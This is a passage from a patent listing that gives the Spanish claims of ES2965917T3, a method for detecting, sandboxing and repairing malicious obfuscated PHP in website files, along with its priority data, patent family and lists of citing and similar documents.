analizar cada componente de la pluralidad de componentes para determinar si el componente presenta un riesgo de seguridad; y
marcar un subconjunto de componentes de la pluralidad de componentes que presentan el riesgo de seguridad;
ejecutar porciones del código de secuencias de comandos correspondientes al subconjunto de componentes que se marcaron usando uno del primer conjunto de servidores que está configurado para aislar y monitorear la ejecución de las porciones del código de secuencias de comandos;
determinar un contenido de violación de seguridad en los archivos de sitio web descargados basándose en un monitoreo de la ejecución de las porciones del código de secuencias de comandos; y
realizar una reparación de código en línea de los archivos de sitio web reemplazando al menos una porción del código de secuencias de comandos correspondiente al contenido de violación de seguridad con código adecuado conocido.
2. El método de la reivindicación 1, que comprende adicionalmente la etapa de cargar cualquiera de los archivos de sitio web descargados en los que el contenido se ha reemplazado o eliminado en el segundo conjunto de servidores.
3. El método de la reivindicación 2, en donde el archivo de sitio web cargado en el segundo conjunto de servidores reemplaza el contenido de sitio web que contiene contenido de violación de seguridad determinado.
4. El método de la reivindicación 1, en donde el ancho de banda de acceso total de los archivos de sitio web consumidos durante la descarga está limitado por un algoritmo que hace referencia a un valor umbral de consumo de ancho de banda predeterminado de modo que el ancho de banda de acceso total más el consumo de ancho de banda de usuario de archivos de sitio web es menor que el umbral predeterminado.
5. El método de la reivindicación 1, en donde la etapa de analizar los archivos de sitio web descargados en busca de violaciones de seguridad comprende además la etapa de analizar los archivos de sitio web descargados en busca de violaciones de seguridad ejecutando algoritmos que realizan al menos uno de verificación de firma, verificación difusa, coincidencia de metadatos, toma de huellas dactilares, verificación de enlace y verificación de archivo.
6. El método de la reivindicación 1, en donde el código de secuencias de comandos es un código de secuencias de comandos PHP.
7. Un medio legible por ordenador no transitorio que incluye una o más secuencias de instrucciones que, cuando se ejecutan por uno o más procesadores, hacen que el uno o más procesadores realicen operaciones, que comprende:
acceder, por un primer servidor, a datos de atributos de archivo de contenido de sitio web para archivos de sitio web usados por uno de un segundo conjunto de servidores configurados para alojar contenido de sitio web; determinar si alguno de los archivos de sitio web contenidos en el segundo servidor ha cambiado comparando un valor de atributo de fecha de cambio de archivo de un archivo de sitio web con un valor de atributo de fecha de cambio de archivo almacenado que se ha almacenado en el primer servidor para el archivo de sitio web; transferir cada archivo de sitio web del segundo servidor al primer servidor donde el valor de atributo de fecha de cambio de archivo de cada archivo de sitio web no coincide con el valor de atributo de fecha de cambio de archivo almacenado en el primer servidor para cada archivo de sitio web;
analizar, por el primer servidor, cada archivo de sitio web transferido en busca de un riesgo de seguridad realizando técnicas de integridad de archivo en los archivos de sitio web transferidos para identificar firmas sospechosas o conocidas contenidas en los archivos de sitio web transferidos;
basándose en el análisis, decodificar, por el primer servidor, un código de secuencias de comandos que se detecta dentro de cada archivo de sitio web transferido al:
analizar el código de secuencias de comandos para separar el código de secuencias de comandos en una pluralidad de componentes para determinar una función que se pretende que realice el código de secuencias de comandos examinando variables y comandos del código de secuencias de comandos;
analizar cada componente de la pluralidad de componentes para determinar si el componente presenta un riesgo de seguridad; y
marcar un subconjunto de componentes de la pluralidad de componentes que presentan el riesgo de seguridad;
ejecutar, por el primer servidor, porciones del código de secuencias de comandos correspondientes al subconjunto de componentes que se marcaron para aislar y monitorear la ejecución de las porciones del código de secuencias de comandos;
determinar un contenido de violación de seguridad en cada archivo de sitio web transferido basándose en un monitoreo de la ejecución de las porciones del código de secuencias de comandos; y
realizar una reparación de código en línea de los archivos de sitio web reemplazando al menos una porción del código de secuencias de comandos correspondiente al contenido de violación de seguridad con código adecuado conocido.
8. El medio legible por ordenador no transitorio de la reivindicación 7, que comprende adicionalmente la etapa de cargar cualquiera de los archivos de sitio web transferidos en los que el contenido se ha reemplazado o eliminado en el segundo servidor.
9. El medio legible por ordenador no transitorio de la reivindicación 8, en donde el archivo de sitio web cargado en el segundo servidor reemplaza contenido de sitio web que contiene contenido de violación de seguridad determinado.
10. El medio legible por ordenador no transitorio de la reivindicación 7, en donde el ancho de banda de acceso total de los archivos de sitio web transferidos está limitado por un algoritmo que hace referencia a un valor umbral de consumo de ancho de banda predeterminado de modo que el ancho de banda de acceso total más el consumo de ancho de banda de archivos de sitio web transferidos es menor que el umbral predeterminado.
11. El medio legible por ordenador no transitorio de la reivindicación 7, en donde la etapa de analizar cada archivo de sitio web transferido en busca de una violación de seguridad comprende además la etapa de analizar cada archivo de sitio web transferido en busca de una violación de seguridad mediante la ejecución de algoritmos que realizan al menos uno de verificación de firma, verificación difusa, coincidencia de metadatos, toma de huellas dactilares, verificación de enlace y verificación de archivo.
12. El medio legible por ordenador no transitorio de la reivindicación 7, en donde el código de secuencias de comandos es un código de secuencias de comandos PHP.
ES17793477T 2016-05-06 2017-05-05 Detección de debilidad de seguridad e infiltración y reparación en contenido de sitio web ofuscado Active ES2965917T3 (es)

Applications Claiming Priority (3)

Application Number Priority Date Filing Date Title
US201662332720P 2016-05-06 2016-05-06
US201662422311P 2016-11-15 2016-11-15
PCT/US2017/031348 WO2017193027A1 (en) 2016-05-06 2017-05-05 Security weakness and infiltration detection and repair in obfuscated website content

Publications (1)

Publication Number Publication Date
ES2965917T3 true ES2965917T3 (es) 2024-04-17

Family

ID=60203647

Family Applications (1)

Application Number Title Priority Date Filing Date
ES17793477T Active ES2965917T3 (es) 2016-05-06 2017-05-05 Detección de debilidad de seguridad e infiltración y reparación en contenido de sitio web ofuscado

Country Status (7)

Country Link
US (2) US10547628B2 (es)
EP (2) EP3452910B1 (es)
JP (1) JP7073343B2 (es)
AU (2) AU2017260360B2 (es)
CA (1) CA3023254A1 (es)
ES (1) ES2965917T3 (es)
WO (1) WO2017193027A1 (es)

Families Citing this family (24)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
US20110029516A1 (en) * 2009-07-30 2011-02-03 Microsoft Corporation Web-Used Pattern Insight Platform
CN107645478B (zh) * 2016-07-22 2020-12-22 阿里巴巴集团控股有限公司 网络攻击防御系统、方法及装置
US10454952B2 (en) 2016-12-23 2019-10-22 Microsoft Technology Licensing, Llc Threat protection in documents
US10097490B1 (en) * 2017-09-01 2018-10-09 Global Tel*Link Corporation Secure forum facilitator in controlled environment
US10986100B1 (en) * 2018-03-13 2021-04-20 Ca, Inc. Systems and methods for protecting website visitors
CN108768931A (zh) * 2018-04-09 2018-11-06 卓望数码技术(深圳)有限公司 一种多媒体文件篡改检测系统与方法
US10289836B1 (en) * 2018-05-18 2019-05-14 Securitymetrics, Inc. Webpage integrity monitoring
US11151246B2 (en) * 2019-01-08 2021-10-19 EMC IP Holding Company LLC Risk score generation with dynamic aggregation of indicators of compromise across multiple categories
CN109787997B (zh) * 2019-02-26 2021-06-11 上海易点时空网络有限公司 基于php的tcp服务方法及服务器
US10523706B1 (en) * 2019-03-07 2019-12-31 Lookout, Inc. Phishing protection using cloning detection
JP7218630B2 (ja) * 2019-03-15 2023-02-07 日本電気株式会社 情報処理装置、情報処理方法、情報処理プログラム、及び情報処理システム
US11368477B2 (en) 2019-05-13 2022-06-21 Securitymetrics, Inc. Webpage integrity monitoring
CN110209971B (zh) * 2019-05-15 2023-07-28 朱容宇 一种网站重组还原的方法及系统
US11907367B2 (en) 2019-11-22 2024-02-20 Microsoft Technology Licensing, Llc Dormant account identifier
CN111159703B (zh) * 2019-12-31 2022-12-06 奇安信科技集团股份有限公司 虚拟机数据泄露检测方法及装置
US20230123342A1 (en) * 2020-03-16 2023-04-20 Nippon Telegraph And Telephone Corporation Vulnerability determination device, vulnerability determination method, and vulnerability determination program
US11843622B1 (en) * 2020-10-16 2023-12-12 Splunk Inc. Providing machine learning models for classifying domain names for malware detection
CN112165498B (zh) * 2020-11-12 2022-10-25 北京华云安信息技术有限公司 一种渗透测试的智能决策方法及装置
US12373757B2 (en) * 2021-03-10 2025-07-29 Microsoft Technology Licensing, Llc Using weighted peer groups to selectively trigger a security alert
US12299133B2 (en) 2021-12-28 2025-05-13 SecureX.AI, Inc. Systems and methods for prioritizing security findings using machine learning models
US12166785B2 (en) * 2021-12-28 2024-12-10 SecureX.AI, Inc. Systems and methods for predictive analysis of potential attack patterns based on contextual security information
US12149555B2 (en) 2021-12-28 2024-11-19 SecureX.AI, Inc. Systems and methods for vulnerability assessment for cloud assets using imaging methods
CN115941280B (zh) * 2022-11-10 2024-01-26 北京源堡科技有限公司 基于web指纹信息的渗透方法、装置、设备及介质
CN118780597B (zh) * 2024-06-18 2025-05-30 中国环境科学研究院 一种基于数据同化算法的填埋场渗漏风险预测方法

Family Cites Families (19)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
US20110238855A1 (en) * 2000-09-25 2011-09-29 Yevgeny Korsunsky Processing data flows with a data flow processor
JP2004318820A (ja) * 2004-01-13 2004-11-11 Ssd Japan:Kk データベース修復システム
US8448241B1 (en) * 2006-02-16 2013-05-21 Oracle America, Inc. Browser extension for checking website susceptibility to cross site scripting
US8650648B2 (en) * 2008-03-26 2014-02-11 Sophos Limited Method and system for detecting restricted content associated with retrieved content
US8583464B2 (en) * 2008-04-04 2013-11-12 Bank Of America Corporation Systems and methods for optimizing market selection for entity operations location
US8346923B2 (en) * 2008-11-12 2013-01-01 Sophos Plc Methods for identifying an application and controlling its network utilization
JP5749053B2 (ja) 2010-03-31 2015-07-15 株式会社ブロードバンドセキュリティ ファイルのアップロード遮断システム及びファイルのアップロード遮断方法
US9246932B2 (en) 2010-07-19 2016-01-26 Sitelock, Llc Selective website vulnerability and infection testing
CN102457500B (zh) 2010-10-22 2015-01-07 北京神州绿盟信息安全科技股份有限公司 一种网站扫描设备和方法
US8695096B1 (en) * 2011-05-24 2014-04-08 Palo Alto Networks, Inc. Automatic signature generation for malicious PDF files
US9811664B1 (en) * 2011-08-15 2017-11-07 Trend Micro Incorporated Methods and systems for detecting unwanted web contents
US9971896B2 (en) 2011-12-30 2018-05-15 International Business Machines Corporation Targeted security testing
CN102624931B (zh) * 2012-04-21 2015-02-25 华为技术有限公司 Web客户端与服务器交互的方法、装置及系统
US9536081B2 (en) * 2012-06-12 2017-01-03 Intermec Ip Corp. System and process for managing network communications
US9614862B2 (en) * 2013-07-24 2017-04-04 Nice Ltd. System and method for webpage analysis
US20160182542A1 (en) * 2014-12-18 2016-06-23 Stuart Staniford Denial of service and other resource exhaustion defense and mitigation using transition tracking
US9798875B2 (en) * 2015-02-03 2017-10-24 Easy Solutions Enterprises Corp. Systems and methods for detecting and addressing HTML-modifying malware
US9923910B2 (en) * 2015-10-05 2018-03-20 Cisco Technology, Inc. Dynamic installation of behavioral white labels
US9830453B1 (en) * 2015-10-30 2017-11-28 tCell.io, Inc. Detection of code modification

Also Published As

Publication number Publication date
US11184380B2 (en) 2021-11-23
AU2022204197A1 (en) 2022-07-07
EP3452910C0 (en) 2023-09-13
EP3452910A4 (en) 2020-07-29
EP4270875A3 (en) 2023-12-13
JP7073343B2 (ja) 2022-05-23
WO2017193027A1 (en) 2017-11-09
US20200162492A1 (en) 2020-05-21
US20170324760A1 (en) 2017-11-09
AU2022204197B2 (en) 2024-02-22
EP3452910B1 (en) 2023-09-13
CA3023254A1 (en) 2017-11-09
EP3452910A1 (en) 2019-03-13
AU2017260360A1 (en) 2018-11-22
AU2017260360B2 (en) 2022-07-21
JP2019517088A (ja) 2019-06-20
US10547628B2 (en) 2020-01-28
EP4270875A2 (en) 2023-11-01

Similar Documents

Publication Publication Date Title
ES2965917T3 (es) Detección de debilidad de seguridad e infiltración y reparación en contenido de sitio web ofuscado
EP4413482B1 (en) Multitenant sharing anomaly cyberattack campaign detection
Kharraz et al. Surveylance: Automatically detecting online survey scams
US20200389495A1 (en) Secure policy-controlled processing and auditing on regulated data sets
US11336676B2 (en) Centralized trust authority for web application components
Subramanian et al. A focus on future cloud: machine learning-based cloud security
EP2610776B1 (en) Automated behavioural and static analysis using an instrumented sandbox and machine learning classification for mobile security
Aggarwal et al. I spy with my little eye: analysis and detection of spying browser extensions
Rafiq et al. AndroMalPack: enhancing the ML-based malware classification by detection and removal of repacked apps for Android systems
Shukla et al. HTTP header based phishing attack detection using machine learning
Akhtar Malware detection and analysis: Challenges and research opportunities
Saha Roy et al. Phishing in the free waters: A study of phishing attacks created using free website building services
Zhang et al. Automatic detection of Android malware via hybrid graph neural network
Xu et al. Cybersecurity in Intelligent Networking Systems
Sharma et al. An efficient cyber threat prediction using a novel artificial intelligence technique
US10181039B1 (en) Systems and methods for providing computing security by classifying organizations
AlMasri et al. Detecting Spyware in Android Devices Using Random Forest
US20240396896A1 (en) Systems and Methods for Individual Identification Through Heuristics or Machine Learning
HK40100564A (en) Security weakness and infiltration detection and repair in obfuscated website content
Miramirkhani Methodologies and tools to study malicious ecosystems
Kudtarkar Android botnet detection using signature data and ensemble machine learning
Al-Qabalin Android Spyware Detection Using Random Forest Algorithm: A Novel Dataset
Saha Roy SCALABLE APPROACHES TOWARDS CHARACTERIZING AND MITIGATING EMERGING PHISHING SCAMS
Al Altamimi Using Machine Learning Techniques to Detect Malicious URLs for Mobile User
Huyghe Automated Exploration of the Impact of Configuration Parameters on Browser Fingerprints